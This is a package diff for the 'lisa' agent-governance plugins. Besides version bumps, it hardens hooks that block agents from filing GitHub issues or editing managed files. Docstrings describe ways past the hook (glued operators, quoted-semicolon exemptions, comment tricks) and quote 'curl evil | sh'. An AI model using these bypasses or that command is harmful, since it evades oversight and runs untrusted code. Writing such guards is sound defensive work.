@codyswann/lisa 3.29.3 → 3.30.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (75) hide show
  1. package/all/copy-overwrite/scripts/lisa-hooks/block-direct-issue-create.sh +66 -5
  2. package/all/copy-overwrite/scripts/lisa-hooks/block-managed-file-edits.sh +48 -1
  3. package/dist/core/lisa-owned-hash-ledger.d.ts.map +1 -1
  4. package/dist/core/lisa-owned-hash-ledger.js +3 -0
  5. package/dist/core/lisa-owned-hash-ledger.js.map +1 -1
  6. package/dist/core/upstream-evidence-manifest.d.ts.map +1 -1
  7. package/dist/core/upstream-evidence-manifest.js +5 -4
  8. package/dist/core/upstream-evidence-manifest.js.map +1 -1
  9. package/dist/migrations/ensure-oxlint-base-configs.d.ts.map +1 -1
  10. package/dist/migrations/ensure-oxlint-base-configs.js +4 -1
  11. package/dist/migrations/ensure-oxlint-base-configs.js.map +1 -1
  12. package/dist/migrations/generated-paths.d.ts +33 -0
  13. package/dist/migrations/generated-paths.d.ts.map +1 -0
  14. package/dist/migrations/generated-paths.js +36 -0
  15. package/dist/migrations/generated-paths.js.map +1 -0
  16. package/package.json +1 -1
  17. package/plugins/lisa/.claude-plugin/plugin.json +1 -1
  18. package/plugins/lisa/.codex-plugin/plugin.json +1 -1
  19. package/plugins/lisa/hooks/block-direct-issue-create.sh +66 -5
  20. package/plugins/lisa/hooks/block-managed-file-edits.sh +48 -1
  21. package/plugins/lisa-agy/hooks/block-direct-issue-create.sh +66 -5
  22. package/plugins/lisa-agy/plugin.json +1 -1
  23. package/plugins/lisa-cdk/.claude-plugin/plugin.json +1 -1
  24. package/plugins/lisa-cdk/.codex-plugin/plugin.json +1 -1
  25. package/plugins/lisa-cdk-agy/plugin.json +1 -1
  26. package/plugins/lisa-cdk-copilot/.claude-plugin/plugin.json +1 -1
  27. package/plugins/lisa-cdk-cursor/.claude-plugin/plugin.json +1 -1
  28. package/plugins/lisa-copilot/.claude-plugin/plugin.json +1 -1
  29. package/plugins/lisa-copilot/hooks/block-direct-issue-create.sh +66 -5
  30. package/plugins/lisa-copilot/hooks/block-managed-file-edits.sh +48 -1
  31. package/plugins/lisa-cursor/.claude-plugin/plugin.json +1 -1
  32. package/plugins/lisa-cursor/hooks/block-direct-issue-create.sh +66 -5
  33. package/plugins/lisa-cursor/hooks/block-managed-file-edits.sh +48 -1
  34. package/plugins/lisa-expo/.claude-plugin/plugin.json +1 -1
  35. package/plugins/lisa-expo/.codex-plugin/plugin.json +1 -1
  36. package/plugins/lisa-expo-agy/plugin.json +1 -1
  37. package/plugins/lisa-expo-copilot/.claude-plugin/plugin.json +1 -1
  38. package/plugins/lisa-expo-cursor/.claude-plugin/plugin.json +1 -1
  39. package/plugins/lisa-harper-fabric/.claude-plugin/plugin.json +1 -1
  40. package/plugins/lisa-harper-fabric/.codex-plugin/plugin.json +1 -1
  41. package/plugins/lisa-harper-fabric-agy/plugin.json +1 -1
  42. package/plugins/lisa-harper-fabric-copilot/.claude-plugin/plugin.json +1 -1
  43. package/plugins/lisa-harper-fabric-cursor/.claude-plugin/plugin.json +1 -1
  44. package/plugins/lisa-nestjs/.claude-plugin/plugin.json +1 -1
  45. package/plugins/lisa-nestjs/.codex-plugin/plugin.json +1 -1
  46. package/plugins/lisa-nestjs-agy/plugin.json +1 -1
  47. package/plugins/lisa-nestjs-copilot/.claude-plugin/plugin.json +1 -1
  48. package/plugins/lisa-nestjs-cursor/.claude-plugin/plugin.json +1 -1
  49. package/plugins/lisa-openclaw/.claude-plugin/plugin.json +1 -1
  50. package/plugins/lisa-openclaw/.codex-plugin/plugin.json +1 -1
  51. package/plugins/lisa-openclaw-agy/plugin.json +1 -1
  52. package/plugins/lisa-openclaw-copilot/.claude-plugin/plugin.json +1 -1
  53. package/plugins/lisa-openclaw-cursor/.claude-plugin/plugin.json +1 -1
  54. package/plugins/lisa-phaser/.claude-plugin/plugin.json +1 -1
  55. package/plugins/lisa-phaser/.codex-plugin/plugin.json +1 -1
  56. package/plugins/lisa-phaser-agy/plugin.json +1 -1
  57. package/plugins/lisa-phaser-copilot/.claude-plugin/plugin.json +1 -1
  58. package/plugins/lisa-phaser-cursor/.claude-plugin/plugin.json +1 -1
  59. package/plugins/lisa-rails/.claude-plugin/plugin.json +1 -1
  60. package/plugins/lisa-rails/.codex-plugin/plugin.json +1 -1
  61. package/plugins/lisa-rails-agy/plugin.json +1 -1
  62. package/plugins/lisa-rails-copilot/.claude-plugin/plugin.json +1 -1
  63. package/plugins/lisa-rails-cursor/.claude-plugin/plugin.json +1 -1
  64. package/plugins/lisa-typescript/.claude-plugin/plugin.json +1 -1
  65. package/plugins/lisa-typescript/.codex-plugin/plugin.json +1 -1
  66. package/plugins/lisa-typescript-agy/plugin.json +1 -1
  67. package/plugins/lisa-typescript-copilot/.claude-plugin/plugin.json +1 -1
  68. package/plugins/lisa-typescript-cursor/.claude-plugin/plugin.json +1 -1
  69. package/plugins/lisa-wiki/.claude-plugin/plugin.json +1 -1
  70. package/plugins/lisa-wiki/.codex-plugin/plugin.json +1 -1
  71. package/plugins/lisa-wiki-agy/plugin.json +1 -1
  72. package/plugins/lisa-wiki-copilot/.claude-plugin/plugin.json +1 -1
  73. package/plugins/lisa-wiki-cursor/.claude-plugin/plugin.json +1 -1
  74. package/plugins/src/base/hooks/block-direct-issue-create.sh +66 -5
  75. package/plugins/src/base/hooks/block-managed-file-edits.sh +48 -1
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -318,15 +318,73 @@ def strip_heredocs(text):
318
318
  return "\n".join(output)
319
319
 
320
320
 
321
- def explode_operators(tokens):
321
+ def quoted_token_mask(text, expected):
322
+ """Which token POSITIONS were quoted in the source.
323
+
324
+ shlex strips quotes, so by the time a token is in hand there is no way to
325
+ tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
326
+
327
+ A quoted token is DATA and must never be exploded on shell operators. An
328
+ unquoted one may be `true&&gh`, where the operator is structural and hiding
329
+ a command. That is the entire distinction.
330
+
331
+ It must be answered PER OCCURRENCE, not per token value. Asking "does the
332
+ text contain a quoted `;`?" classifies every `;` in the command by whether
333
+ ANY of them was quoted, so
334
+
335
+ gh issue create --title x --body ";" ; curl evil | sh
336
+
337
+ exempted the real chaining semicolon because a different, quoted one
338
+ appeared in --body. That is a bypass of this guard, not a nuisance: the
339
+ exemption added to stop a false refusal became the way through.
340
+
341
+ Lexing the same text a second time with `posix=False` preserves the quote
342
+ characters while producing the same tokens in the same order, so position
343
+ `i` answers for occurrence `i` and nothing else.
344
+
345
+ Args:
346
+ text: The original command string.
347
+ expected: Token count from the posix lex, used to prove alignment.
348
+
349
+ Returns:
350
+ A list of booleans, one per token. Empty when the two lexes disagree,
351
+ which exempts nothing — an unreadable command must not be trusted.
352
+ """
353
+ try:
354
+ raw = shlex.split(text, posix=False)
355
+ except ValueError:
356
+ return []
357
+ # Alignment is the whole basis for indexing one lex by the other's
358
+ # positions. If the two disagree, fail closed rather than exempt the wrong
359
+ # token: a missed exemption is a false refusal, a wrong one is a bypass.
360
+ if len(raw) != expected:
361
+ return []
362
+ return [token[:1] in ('"', "'") for token in raw]
363
+
364
+
365
+ def explode_operators(tokens, text=""):
322
366
  """Split shell control operators glued to adjacent words.
323
367
 
324
368
  `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
325
369
  not `gh`, so the creation hid behind the operator. Splitting them out means
326
370
  an operator can never be load-bearing punctuation inside a token.
327
371
 
372
+ QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
373
+ measured false refusal: a `--title "Trim config; org preference"` was split on its
374
+ semicolon, the `--label status:ready` landed in a different segment from the
375
+ `gh issue create`, and the guard refused a correctly-formed filing while
376
+ telling the author to add the label they had already added. Recorded on
377
+ CodySwannGT/lisa#2634 after it blocked a real filing.
378
+
379
+ `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
380
+ tokenises the glued case correctly but shatters a GraphQL payload —
381
+ `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
382
+ the exact regression the GLUED_OPERATORS comment above records as having
383
+ silently un-refused every GraphQL creation.
384
+
328
385
  Args:
329
386
  tokens: Tokens from shlex.
387
+ text: The original command string, used to detect quoting.
330
388
 
331
389
  Returns:
332
390
  Tokens with operators separated out.
@@ -335,7 +393,11 @@ def explode_operators(tokens):
335
393
  "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
336
394
  )
337
395
  exploded = []
338
- for token in tokens:
396
+ quoted = quoted_token_mask(text, len(tokens)) if text else []
397
+ for index, token in enumerate(tokens):
398
+ if index < len(quoted) and quoted[index]:
399
+ exploded.append(token)
400
+ continue
339
401
  for piece in pattern.split(token):
340
402
  if piece:
341
403
  exploded.append(piece)
@@ -687,9 +749,8 @@ def scan(text, depth):
687
749
  A refusal signature, or None when nothing creation-shaped was found.
688
750
  """
689
751
  try:
690
- tokens = explode_operators(
691
- shlex.split(strip_heredocs(text), posix=True)
692
- )
752
+ stripped = strip_heredocs(text)
753
+ tokens = explode_operators(shlex.split(stripped, posix=True), stripped)
693
754
  except ValueError:
694
755
  # Bash's grammar is not shlex's. `gh issue create --title x #'` is a
695
756
  # comment to bash, which strips it and RUNS the create, while shlex
@@ -196,6 +196,45 @@ managed_source() {
196
196
  return 0
197
197
  fi
198
198
  done
199
+ # A generated path has no template to point at — apply rebuilds it from the
200
+ # migration rather than copying it — so the source is named for the reader
201
+ # rather than resolved to a file that does not exist.
202
+ if generated_path "$rel"; then
203
+ printf '%s' "generated by lisa apply"
204
+ return 0
205
+ fi
206
+ return 1
207
+ }
208
+
209
+ # Whether a destination is a path `lisa apply` GENERATES rather than copies.
210
+ #
211
+ # Read out of the installed package, never restated here.
212
+ # `dist/migrations/generated-paths.js` is the single source the vendoring
213
+ # migration also imports, so a new generated tree is covered without editing this
214
+ # hook. A hook carrying its own copy of that list would be a second place to
215
+ # update that nobody updates, which then governs silently — the defect this file
216
+ # already documents for copy-overwrite, one step along.
217
+ #
218
+ # The distinction earns its keep because the two populations fail in OPPOSITE
219
+ # ways, and a guard that gives one answer is wrong for half the files it covers:
220
+ # an edited copy-overwrite file is PRESERVED and silently forks, while a
221
+ # generated file is REBUILT and the edit vanishes on the next install.
222
+ generated_path() {
223
+ local rel="$1"
224
+ local module="$package_root/dist/migrations/generated-paths.js"
225
+ [ -f "$module" ] || return 1
226
+ local prefixes
227
+ prefixes="$(grep -oE '"[^"]+"' "$module" 2>/dev/null | tr -d '"')"
228
+ local prefix
229
+ for prefix in $prefixes; do
230
+ case "$prefix" in
231
+ */*) ;;
232
+ *) continue ;;
233
+ esac
234
+ case "$rel" in
235
+ "$prefix" | "$prefix"/*) return 0 ;;
236
+ esac
237
+ done
199
238
  return 1
200
239
  }
201
240
 
@@ -219,7 +258,15 @@ refuse() {
219
258
  local source="$2"
220
259
  local rel="$3"
221
260
  local consequence
222
- if ledger_tracked "$rel"; then
261
+ if generated_path "$rel"; then
262
+ consequence="\`lisa apply\` REGENERATES this file. It is not copied from a
263
+ template and it is not preserved: the next \`bun install\` rebuilds it and your
264
+ edit is gone, with nothing reporting that it had been.
265
+
266
+ That is the opposite failure from the copy-overwrite files this guard also
267
+ covers, where an edit SURVIVES and forks silently. Here the edit works locally,
268
+ CI agrees because CI regenerates too, and it disappears on the next install."
269
+ elif ledger_tracked "$rel"; then
223
270
  consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
224
271
  and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
225
272
  whether it is out of date or deliberately stronger. Kept yours.\"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-expo",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Expo/React Native-specific skills, agents, rules, and MCP servers",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-expo",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Expo and React Native-specific skills, agents, rules, and MCP servers.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-expo",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Expo/React Native-specific skills, agents, rules, and MCP servers",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-expo",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Expo/React Native-specific skills, agents, rules, and MCP servers",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-expo",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Expo/React Native-specific skills, agents, rules, and MCP servers",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-harper-fabric",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Harper/Fabric-specific rules for TypeScript component apps",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-harper-fabric",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Harper/Fabric-specific Lisa rules for TypeScript component apps.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-harper-fabric",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Harper/Fabric-specific rules for TypeScript component apps",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-harper-fabric",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Harper/Fabric-specific rules for TypeScript component apps",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-harper-fabric",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Harper/Fabric-specific rules for TypeScript component apps",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-nestjs",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "NestJS-specific skills (GraphQL, TypeORM) and hooks (migration write-protection)",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-nestjs",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "NestJS-specific skills and migration write-protection hooks.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-nestjs",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "NestJS-specific skills (GraphQL, TypeORM) and hooks (migration write-protection)",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-nestjs",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "NestJS-specific skills (GraphQL, TypeORM) and hooks (migration write-protection)",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-nestjs",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "NestJS-specific skills (GraphQL, TypeORM) and hooks (migration write-protection)",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-openclaw",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Connect staff roles to Telegram or Slack via OpenClaw — facilitator/specialist hub-and-spoke routing and repo-coding topics, for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-openclaw",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Connect staff roles to Telegram or Slack via OpenClaw — facilitator/specialist hub-and-spoke routing and repo-coding topics, across Claude and Codex.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-openclaw",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Connect staff roles to Telegram or Slack via OpenClaw — facilitator/specialist hub-and-spoke routing and repo-coding topics, for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-openclaw",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Connect staff roles to Telegram or Slack via OpenClaw — facilitator/specialist hub-and-spoke routing and repo-coding topics, for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-openclaw",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Connect staff roles to Telegram or Slack via OpenClaw — facilitator/specialist hub-and-spoke routing and repo-coding topics, for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-phaser",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Phaser 4 game-development rules for TypeScript projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-phaser",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Phaser 4 game-development rules for TypeScript projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-phaser",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Phaser 4 game-development rules for TypeScript projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-phaser",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Phaser 4 game-development rules for TypeScript projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-phaser",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Phaser 4 game-development rules for TypeScript projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-rails",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Ruby on Rails-specific hooks — RuboCop linting/formatting and ast-grep scanning on edit",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-rails",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Ruby on Rails-specific skills and hooks for RuboCop and ast-grep scanning on edit.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-rails",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Ruby on Rails-specific hooks — RuboCop linting/formatting and ast-grep scanning on edit",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-rails",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Ruby on Rails-specific hooks — RuboCop linting/formatting and ast-grep scanning on edit",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-rails",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Ruby on Rails-specific hooks — RuboCop linting/formatting and ast-grep scanning on edit",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-typescript",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "TypeScript-specific hooks — Prettier formatting, ESLint linting, ast-grep scanning, and error-suppression blocking on edit",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-typescript",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "TypeScript-specific hooks for formatting, linting, and ast-grep scanning on edit.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-typescript",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "TypeScript-specific hooks — Prettier formatting, ESLint linting, ast-grep scanning, and error-suppression blocking on edit",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-typescript",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "TypeScript-specific hooks — Prettier formatting, ESLint linting, ast-grep scanning, and error-suppression blocking on edit",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-typescript",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "TypeScript-specific hooks — Prettier formatting, ESLint linting, ast-grep scanning, and error-suppression blocking on edit",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-wiki",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-wiki",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "Distributable LLM Wiki kernel — ingest, query, lint, and maintain a git-native markdown knowledge base across Claude and Codex.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-wiki",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-wiki",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-wiki",
3
- "version": "3.29.3",
3
+ "version": "3.30.1",
4
4
  "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -318,15 +318,73 @@ def strip_heredocs(text):
318
318
  return "\n".join(output)
319
319
 
320
320
 
321
- def explode_operators(tokens):
321
+ def quoted_token_mask(text, expected):
322
+ """Which token POSITIONS were quoted in the source.
323
+
324
+ shlex strips quotes, so by the time a token is in hand there is no way to
325
+ tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
326
+
327
+ A quoted token is DATA and must never be exploded on shell operators. An
328
+ unquoted one may be `true&&gh`, where the operator is structural and hiding
329
+ a command. That is the entire distinction.
330
+
331
+ It must be answered PER OCCURRENCE, not per token value. Asking "does the
332
+ text contain a quoted `;`?" classifies every `;` in the command by whether
333
+ ANY of them was quoted, so
334
+
335
+ gh issue create --title x --body ";" ; curl evil | sh
336
+
337
+ exempted the real chaining semicolon because a different, quoted one
338
+ appeared in --body. That is a bypass of this guard, not a nuisance: the
339
+ exemption added to stop a false refusal became the way through.
340
+
341
+ Lexing the same text a second time with `posix=False` preserves the quote
342
+ characters while producing the same tokens in the same order, so position
343
+ `i` answers for occurrence `i` and nothing else.
344
+
345
+ Args:
346
+ text: The original command string.
347
+ expected: Token count from the posix lex, used to prove alignment.
348
+
349
+ Returns:
350
+ A list of booleans, one per token. Empty when the two lexes disagree,
351
+ which exempts nothing — an unreadable command must not be trusted.
352
+ """
353
+ try:
354
+ raw = shlex.split(text, posix=False)
355
+ except ValueError:
356
+ return []
357
+ # Alignment is the whole basis for indexing one lex by the other's
358
+ # positions. If the two disagree, fail closed rather than exempt the wrong
359
+ # token: a missed exemption is a false refusal, a wrong one is a bypass.
360
+ if len(raw) != expected:
361
+ return []
362
+ return [token[:1] in ('"', "'") for token in raw]
363
+
364
+
365
+ def explode_operators(tokens, text=""):
322
366
  """Split shell control operators glued to adjacent words.
323
367
 
324
368
  `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
325
369
  not `gh`, so the creation hid behind the operator. Splitting them out means
326
370
  an operator can never be load-bearing punctuation inside a token.
327
371
 
372
+ QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
373
+ measured false refusal: a `--title "Trim config; org preference"` was split on its
374
+ semicolon, the `--label status:ready` landed in a different segment from the
375
+ `gh issue create`, and the guard refused a correctly-formed filing while
376
+ telling the author to add the label they had already added. Recorded on
377
+ CodySwannGT/lisa#2634 after it blocked a real filing.
378
+
379
+ `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
380
+ tokenises the glued case correctly but shatters a GraphQL payload —
381
+ `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
382
+ the exact regression the GLUED_OPERATORS comment above records as having
383
+ silently un-refused every GraphQL creation.
384
+
328
385
  Args:
329
386
  tokens: Tokens from shlex.
387
+ text: The original command string, used to detect quoting.
330
388
 
331
389
  Returns:
332
390
  Tokens with operators separated out.
@@ -335,7 +393,11 @@ def explode_operators(tokens):
335
393
  "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
336
394
  )
337
395
  exploded = []
338
- for token in tokens:
396
+ quoted = quoted_token_mask(text, len(tokens)) if text else []
397
+ for index, token in enumerate(tokens):
398
+ if index < len(quoted) and quoted[index]:
399
+ exploded.append(token)
400
+ continue
339
401
  for piece in pattern.split(token):
340
402
  if piece:
341
403
  exploded.append(piece)
@@ -687,9 +749,8 @@ def scan(text, depth):
687
749
  A refusal signature, or None when nothing creation-shaped was found.
688
750
  """
689
751
  try:
690
- tokens = explode_operators(
691
- shlex.split(strip_heredocs(text), posix=True)
692
- )
752
+ stripped = strip_heredocs(text)
753
+ tokens = explode_operators(shlex.split(stripped, posix=True), stripped)
693
754
  except ValueError:
694
755
  # Bash's grammar is not shlex's. `gh issue create --title x #'` is a
695
756
  # comment to bash, which strips it and RUNS the create, while shlex